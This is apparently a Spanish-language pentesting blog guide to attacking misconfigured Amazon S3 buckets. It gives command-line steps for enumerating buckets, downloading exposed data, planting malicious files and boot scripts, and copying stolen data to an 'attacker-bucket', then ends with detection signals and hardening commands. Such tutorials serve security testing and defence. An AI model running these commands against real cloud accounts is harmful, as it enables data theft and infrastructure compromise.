Introducción
Amazon S3 (Simple Storage Service) ha estado en el centro de algunas de las filtraciones de datos más graves en la historia de la nube. Desde bases de datos de clientes expuestas hasta documentos gubernamentales filtrados, los buckets S3 mal configurados siguen siendo una mina de oro para los atacantes — y una pesadilla para los defensores.
En 2026, las configuraciones incorrectas de S3 no han desaparecido. Han evolucionado. Surgen nuevas superficies de ataque a partir de cadenas IAM complejas, relaciones de confianza entre cuentas, y el creciente uso de S3 como backend para cargas de trabajo serverless y en contenedores. Para red teamers y pentesters, S3 sigue siendo uno de los objetivos de mayor valor en cualquier engagement de AWS.
Esta guía cubre el ciclo de vida ofensivo completo: enumeración de buckets, identificación de configuraciones incorrectas, explotación de acceso, escalada de privilegios mediante políticas de bucket S3, exfiltración de datos, y cómo los defensores te detectan.
Practica de forma responsable: Usa entornos aislados para pruebas.
Practica en un entorno cloud aislado → Vultr
Levanta un droplet de pentesting → DigitalOcean
Conceptos Básicos de S3 para Atacantes
Antes de enumerar, necesitas entender con qué estás trabajando.
Convenciones de Nombres y Formatos de URL
Los buckets S3 siguen convenciones de nombres predecibles, lo que los hace enumerables. Cada bucket tiene:
- Un nombre único a nivel global (3-63 caracteres, minúsculas, alfanumérico + guiones)
- Un endpoint específico por región:
https://BUCKET.s3.REGION.amazonaws.com - Una URL de ruta (legacy):
https://s3.amazonaws.com/BUCKET
Las organizaciones nombran predeciblemente los buckets según sus productos, herramientas internas o entornos:
company-backupscompany-dev-assetscompany-staging-logscompany-prod-terraform-state
Esta predecibilidad es tu primera superficie de ataque.
Capas de Control de Acceso
S3 tiene múltiples mecanismos de control de acceso superpuestos:
- ACLs de Bucket — Permisos legacy a nivel de objeto y bucket.
- Políticas de Bucket — Políticas de recursos basadas en JSON adjuntas directamente al bucket.
- Políticas IAM — Políticas basadas en identidad adjuntas a usuarios, roles o grupos.
- Configuraciones de Block Public Access — Salvaguardas a nivel de cuenta y bucket que anulan ACLs y políticas.
- Puntos de Acceso S3 — Endpoints de red nombrados para acceder a buckets, cada uno con su propia política.
El matiz crítico: las configuraciones de Block Public Access pueden estar habilitadas a nivel de cuenta pero deshabilitadas a nivel de bucket, creando bolsas de exposición pública incluso en entornos por lo demás bloqueados.
Qué Buscan los Atacantes
- Archivos de estado Terraform — A menudo contienen secretos en texto plano, ARNs de recursos y credenciales IAM
- Backups de bases de datos — Archivos
.sql,.dump,.bakcon datos crudos de clientes - Configs de aplicaciones — Archivos
.env,config.json,secrets.yaml - Archivos de código fuente — Repositorios comprimidos con credenciales hardcodeadas
- Logs de acceso — Revelan qué otros servicios y usuarios están accediendo
- Assets de sitios web estáticos — A veces incluyen claves API o tokens embebidos
Técnicas de Enumeración
1. Enumeración Pasiva vía OSINT
Antes de tocar AWS directamente, extrae nombres de buckets de fuentes públicas.
Certificate Transparency Logs:
curl -s "https://crt.sh/?q=%25.s3.amazonaws.com&output=json" | jq '.[].name_value' | sort -u
Google Dorks:
site:s3.amazonaws.com "company-name"
site:*.s3.amazonaws.com filetype:pdf
inurl:s3.amazonaws.com "Index of /"
Búsquedas en GitHub/GitLab:
"s3://company" bucket_name
"amazonaws.com/company" aws_access_key
bucket-stream monitorea Certificate Transparency logs en tiempo real:
git clone https://github.com/eth0izzle/bucket-stream
cd bucket-stream
pip3 install -r requirements.txt
python3 bucket-stream.py
2. Enumeración Activa con s3scanner
s3scanner es la herramienta principal para enumeración y verificación de permisos de buckets S3 en masa.
# Instalar
pip3 install s3scanner
# Escanear un solo bucket
s3scanner scan --bucket company-backups
# Escanear desde una lista de palabras
s3scanner scan --bucket-file wordlist.txt
# Generar lista de palabras desde nombre de empresa
s3scanner scan --bucket company --enumerate
3. lazys3 — Descubrimiento por Permutaciones
lazys3 hace fuerza bruta de nombres de buckets usando patrones comunes alrededor de una palabra clave:
ruby lazys3.rb company
4. AWS CLI — Enumeración Directa
# Listar contenidos de un bucket específico
aws s3 ls s3://target-bucket/ --no-sign-request
# Listar recursivamente
aws s3 ls s3://target-bucket/ --recursive --no-sign-request
# Verificar ACL del bucket
aws s3api get-bucket-acl --bucket target-bucket
# Verificar política del bucket
aws s3api get-bucket-policy --bucket target-bucket
# Verificar configuración de Block Public Access
aws s3api get-public-access-block --bucket target-bucket
5. TruffleHog — Escaneo de Secretos en S3
Una vez que tienes acceso de lectura a un bucket, ejecuta TruffleHog :
trufflehog s3 --bucket=target-bucket --only-verified
Configuraciones Incorrectas Comunes y Explotación
Configuración Incorrecta 1: Bucket Público con Datos Sensibles
Detección:
aws s3api get-bucket-acl --bucket target-bucket
# Buscar: "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
aws s3 ls s3://target-bucket/ --no-sign-request
Explotación:
# Descargar todo
aws s3 sync s3://target-bucket/ ./loot/ --no-sign-request
# Descargar tipos de archivo específicos
aws s3 cp s3://target-bucket/backup.sql ./loot/ --no-sign-request
Configuración Incorrecta 2: Política de Bucket Excesivamente Permisiva
Detección:
aws s3api get-bucket-policy --bucket target-bucket --query Policy --output text | python3 -m json.tool
Banderas rojas en una política:
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::target-bucket/*"
}
O peor — acceso de escritura:
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::target-bucket/*"
}
Explotación:
# Si se permite acceso de escritura
aws s3 cp malicious.html s3://target-bucket/ --no-sign-request
# Si el bucket aloja un sitio web estático, acabas de lograr XSS o defacement
Configuración Incorrecta 3: Autenticado pero Acceso IAM Excesivamente Amplio
A veces los buckets no son públicamente accesibles pero cualquier usuario autenticado de AWS (incluso de una cuenta diferente) puede acceder a ellos.
Detección:
# Enumerar con tus propias credenciales AWS válidas (no las del objetivo)
aws s3 ls s3://target-bucket/
aws s3api get-bucket-policy --bucket target-bucket
Busca políticas que contengan:
"Principal": {"AWS": "*"}
Configuración Incorrecta 4: Estado Terraform Expuesto
El estado Terraform en S3 a menudo contiene todo lo que necesitas para mapear la infraestructura completa:
# Verificar archivos de estado
aws s3 ls s3://company-terraform-state/ --recursive
# Descargar y parsear
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .
cat terraform.tfstate | python3 -m json.tool | grep -E "(password|secret|key|token)"
El estado de Terraform regularmente contiene:
- Contraseñas de bases de datos en texto plano
- IDs y secretos de claves de acceso IAM
- Rangos de IP privados y configuraciones VPC
- ARNs de recursos útiles para mayor enumeración
Configuración Incorrecta 5: Exposición del Bucket de Logging
Las organizaciones a menudo crean un bucket de logging centralizado. Si es accesible, obtienes:
- Logs de CloudTrail — historial completo de llamadas API
- Logs de acceso S3 — qué se está accediendo y por quién
- Logs de flujo VPC — metadatos de tráfico de red
aws s3 ls s3://company-cloudtrail-logs/ --recursive
aws s3 sync s3://company-cloudtrail-logs/ ./cloudtrail-loot/
Parsear logs de CloudTrail para entender el entorno AWS:
# Encontrar uso de credenciales IAM
cat cloudtrail.json | jq '.Records[] | select(.eventSource == "iam.amazonaws.com") | {user: .userIdentity.userName, event: .eventName, time: .eventTime}'
Escalada de Privilegios vía S3
S3 no es solo un almacén de datos — es un punto de pivote para la escalada de privilegios IAM.
Vector 1: S3 → Lambda → Rol IAM
Si encuentras un paquete de despliegue Lambda en un bucket S3:
- Descarga el ZIP
- Inspecciona el código en busca de credenciales hardcodeadas o patrones de asunción de roles
- Verifica qué rol IAM ejecuta el Lambda
- Modifica el código para exfiltrar las credenciales del rol de ejecución del Lambda
- Re-sube si existe acceso de escritura
# Descargar paquete Lambda
aws s3 cp s3://company-lambda-deployments/function.zip .
# Extraer y examinar
unzip function.zip -d function_code/
grep -r "boto3\|credentials\|assume_role\|ACCESS_KEY" function_code/
Vector 2: User Data de EC2 vía S3
Algunas configuraciones de lanzamiento de EC2 obtienen scripts de user data de S3. Si puedes escribir en ese bucket:
# Verificar si algún script de user data hace referencia a S3
aws s3 ls s3://company-bootstrap-scripts/
# Si es escribible, reemplaza un script de inicio
aws s3 cp malicious-userdata.sh s3://company-bootstrap-scripts/init.sh
Cuando se lance la próxima instancia EC2, ejecutará tu script.
Vector 3: Documentos de Políticas IAM Almacenados en S3
Algunos pipelines de automatización almacenan JSON de políticas IAM en S3 y los aplican vía CI/CD:
- Encuentra los archivos de política
- Añade una declaración
Allow *parasts:AssumeRoleen un rol altamente privilegiado - Espera a que la automatización lo aplique
- Asume el rol
Exfiltración
Una vez que tienes acceso, exfiltra de manera eficiente y silenciosa.
Sincronización Masiva
# Sincronización completa del bucket (ruidosa — activa muchos eventos S3 GetObject)
aws s3 sync s3://target-bucket/ ./loot/
# Selectiva — solo tipos de archivo de alto valor
aws s3 cp s3://target-bucket/ ./loot/ --recursive \
--exclude "*" \
--include "*.sql" \
--include "*.env" \
--include "*.pem" \
--include "*.key" \
--include "*.tfstate"
Exfiltración Silenciosa vía URLs Pre-Firmadas
Si no quieres generar llamadas a la API directas desde tu IP, genera URLs pre-firmadas y descarga vía proxy:
# Generar una URL pre-firmada válida por 1 hora
aws s3 presign s3://target-bucket/sensitive.sql --expires-in 3600
# Descargar desde otro lugar
curl "https://target-bucket.s3.amazonaws.com/sensitive.sql?X-Amz-Algorithm=..." -o sensitive.sql
Copiar a Bucket Controlado por el Atacante
# Copiar directamente entre buckets (sin que los datos toquen tu máquina local)
aws s3 cp s3://target-bucket/sensitive.sql s3://attacker-bucket/exfil/ \
--source-region us-east-1 \
--region us-west-2
Defensa y Detección
Qué se Registra
CloudTrail captura todas las llamadas API de S3 cuando el registro de eventos de datos está habilitado:
GetObject— descargas de archivosPutObject— subidas de archivosListBucket— listado de directoriosGetBucketPolicy— lecturas de políticaDeleteObject— eliminaciones
Señales de Detección que Vigilan los Defensores
- Solicitudes ListBucket no autenticadas — Las herramientas de escaneo automatizadas activan intentos de listado no autenticados rápidos
- GetObject masivo desde IP nueva — Las operaciones de sincronización masiva desde una IP sin historial previo
- GetBucketPolicy + GetBucketAcl en secuencia — Patrón de enumeración de permisos
- Acceso desde ubicación geográfica inesperada — Acceso internacional o entre regiones a buckets internos
Lista de Verificación de Reforzamiento
# Habilitar Block Public Access a nivel de cuenta
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# Habilitar versionado (previene sobreescrituras destructivas)
aws s3api put-bucket-versioning \
--bucket target-bucket \
--versioning-configuration Status=Enabled
# Habilitar cifrado del lado del servidor
aws s3api put-bucket-encryption \
--bucket target-bucket \
--server-side-encryption-configuration \
'{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
# Habilitar eventos de datos CloudTrail para S3
aws cloudtrail put-event-selectors \
--trail-name my-trail \
--event-selectors '[{"ReadWriteType":"All","IncludeManagementEvents":true,"DataResources":[{"Type":"AWS::S3::Object","Values":["arn:aws:s3:::*/*"]}]}]'
Servicios de Seguridad AWS Relevantes
- Amazon Macie — Descubrimiento de datos sensibles basado en ML. Marca automáticamente buckets con PII, credenciales y datos financieros.
- AWS Config — Evalúa continuamente las configuraciones de buckets contra reglas de cumplimiento.
- GuardDuty — Detección de amenazas por comportamiento. Marca patrones de acceso a S3 anómalos.
- Security Hub — Agrega hallazgos de Macie, GuardDuty y Config en una sola consola.
Para una metodología ofensiva AWS más amplia, ver: Guía de Pentesting en AWS 2026
Conclusión
Las configuraciones incorrectas de S3 siguen siendo uno de los hallazgos más comunes y consecuentes en las evaluaciones de seguridad en la nube. La superficie de ataque es amplia: buckets públicos, políticas excesivamente permisivas, relaciones de confianza entre cuentas, y el papel de S3 como punto de pivote en cadenas de escalada IAM.
Para los red teamers, la enumeración de S3 debería ser un primer paso en todo engagement de AWS — antes de tocar IAM, antes de mirar EC2. Los datos en buckets mal configurados a menudo te entregan todo lo que necesitas: credenciales, mapas de infraestructura, secretos de aplicaciones.
Para los defensores, la lista de verificación de reforzamiento anterior cubre los fundamentos. Pero la higiene de configuración solo llega hasta cierto punto — necesitas logging, detección y auditorías regulares para detectar la deriva antes de que lo haga un atacante.
La nube no es inherentemente insegura. Pero es despiadada con las configuraciones incorrectas.
¿Necesitas contenido experto de seguridad en la nube para tu blog o equipo de seguridad? CipherWrite entrega escritura técnica de nivel pentest — artículos, whitepapers y contenido LinkedIn que realmente posiciona.
